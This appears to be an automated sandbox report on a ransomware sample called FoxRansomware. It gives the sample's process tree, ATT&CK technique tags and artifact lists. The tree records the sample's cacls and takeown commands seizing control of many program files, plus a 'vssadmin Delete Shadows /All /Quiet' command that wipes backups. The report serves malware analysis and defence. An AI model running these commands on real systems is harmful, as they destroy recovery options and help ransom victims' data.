C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "AcroSign.prc" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "AcroSign.prc" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "forms_distributed.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "forms_distributed.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "reviews_sent.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "reviews_sent.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "stop_collection_data.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "stop_collection_data.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "ReadMe.htm" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "ReadMe.htm" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "MinionPro-It.otf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "MinionPro-It.otf" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "ZX______.PFB" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "ZX______.PFB" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "brt04.hsp" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "brt04.hsp" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "engphon.env" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "engphon.env" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "CP1250.TXT" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "CP1250.TXT" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "LogTransport2.exe" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "LogTransport2.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "bl.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "bl.gif" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "forms_super.gif" -nobanner3⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "resource.xml" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "resource.xml" -nobanner3⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "MahjongMCE.png" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "MahjongMCE.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\vmDcYnNc.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c uSDT8H9y.exe -accepteula "review_browser.gif" -nobanner3⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {8CEE9AA9-CDB6-4C68-9D55-C293650D091F} S-1-5-21-3308111660-3636268597-2291490419-1000:JUBFGPHD\Admin:Interactive:[1]1⤵
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\oGCkLmPD.bat"2⤵
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C1⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "forms_super.gif" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "resource.xml" -nobanner1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\uSDT8H9y.exeuSDT8H9y.exe -accepteula "review_browser.gif" -nobanner1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
File and Directory Permissions Modification
1Indicator Removal
2File Deletion
2Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
#FOX_README#.rtf
NWgTwPHO.exe
VsXhzO5K.txt
bad_58E16F8109642D40.txt
bad_58E16F8109642D40.txt
elog_58E16F8109642D40.txt
uSDT8H9y.exe
uSDT8H9y.exe
vmDcYnNc.bat
zCoOFkW6.vbs
uSDT8H9y64.exe
memory/576-8189-0x0000000000400000-0x0000000000477000-memory.dmp
memory/596-8204-0x0000000000400000-0x0000000000477000-memory.dmp
memory/596-7386-0x0000000000400000-0x0000000000477000-memory.dmp
memory/664-6579-0x0000000000400000-0x0000000000477000-memory.dmp
memory/876-8184-0x0000000002000000-0x0000000002077000-memory.dmp
memory/952-5748-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1048-8195-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1072-2249-0x0000000000250000-0x00000000002C7000-memory.dmp
memory/1072-2987-0x0000000000250000-0x00000000002C7000-memory.dmp
memory/1208-7384-0x0000000001F90000-0x0000000002007000-memory.dmp
memory/1212-4693-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1356-3563-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1356-4073-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1408-4076-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1560-5494-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1568-8207-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1592-4694-0x0000000000320000-0x0000000000397000-memory.dmp
memory/1680-4394-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1708-6777-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1728-3298-0x0000000000410000-0x0000000000487000-memory.dmp
memory/1732-6781-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1756-5492-0x0000000000400000-0x0000000000477000-memory.dmp
memory/1948-8213-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2088-3559-0x0000000002040000-0x00000000020B7000-memory.dmp
memory/2152-4455-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2168-3880-0x0000000000370000-0x00000000003E7000-memory.dmp
memory/2188-4302-0x00000000002B0000-0x0000000000327000-memory.dmp
memory/2244-4656-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2260-7586-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2360-19-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-15-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-5706-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-4654-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-3557-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-2898-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-5478-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-2860-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-4100-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2360-4429-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2428-6406-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2428-7423-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2528-4303-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2528-4304-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2580-8-0x0000000000400000-0x000000000053B000-memory.dmp
memory/2624-6212-0x0000000000120000-0x0000000000197000-memory.dmp
memory/2640-5750-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2680-4397-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2688-6787-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2740-4391-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2764-4855-0x00000000002D0000-0x0000000000347000-memory.dmp
memory/2788-8215-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2832-3058-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2856-4430-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2872-11-0x0000000073660000-0x0000000073C0B000-memory.dmp
memory/2872-16-0x0000000073660000-0x0000000073C0B000-memory.dmp
memory/2872-12-0x0000000073660000-0x0000000073C0B000-memory.dmp
memory/2872-13-0x00000000025E0000-0x0000000002620000-memory.dmp
memory/2872-14-0x00000000025E0000-0x0000000002620000-memory.dmp
memory/2884-3560-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2888-5746-0x0000000001F90000-0x0000000002007000-memory.dmp
memory/2912-4911-0x0000000000400000-0x0000000000477000-memory.dmp
memory/2952-4308-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3000-4071-0x0000000000230000-0x00000000002A7000-memory.dmp
memory/3036-4470-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3048-5747-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3064-4450-0x0000000000170000-0x00000000001E7000-memory.dmp
memory/3068-2988-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3080-4077-0x00000000003F0000-0x0000000000467000-memory.dmp
memory/3092-2989-0x0000000000240000-0x00000000002B7000-memory.dmp
memory/3124-4007-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3124-4008-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3136-4004-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3140-4433-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3164-5493-0x0000000002010000-0x0000000002087000-memory.dmp
memory/3184-5452-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3220-4451-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3220-4452-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3224-2993-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3272-4542-0x0000000000130000-0x00000000001A7000-memory.dmp
memory/3280-2409-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3300-3051-0x0000000001F10000-0x0000000001F87000-memory.dmp
memory/3324-3054-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3324-3053-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3376-4564-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3412-8198-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3416-4655-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3432-6780-0x0000000000420000-0x0000000000497000-memory.dmp
memory/3448-5694-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3452-4544-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3484-4307-0x0000000001FB0000-0x0000000002027000-memory.dmp
memory/3604-8188-0x0000000000440000-0x00000000004B7000-memory.dmp
memory/3616-8193-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3616-6785-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3644-5129-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3648-5695-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3664-4565-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3684-8186-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3724-6783-0x0000000001F10000-0x0000000001F87000-memory.dmp
memory/3776-4003-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3776-3295-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3800-4387-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3808-3300-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3832-6776-0x0000000000310000-0x0000000000387000-memory.dmp
memory/3912-3882-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3936-3877-0x0000000000400000-0x0000000000477000-memory.dmp
memory/3956-2992-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4020-8205-0x0000000001FC0000-0x0000000002037000-memory.dmp
memory/4028-5440-0x0000000000400000-0x0000000000477000-memory.dmp
memory/4032-8211-0x0000000000400000-0x0000000000477000-memory.dmp
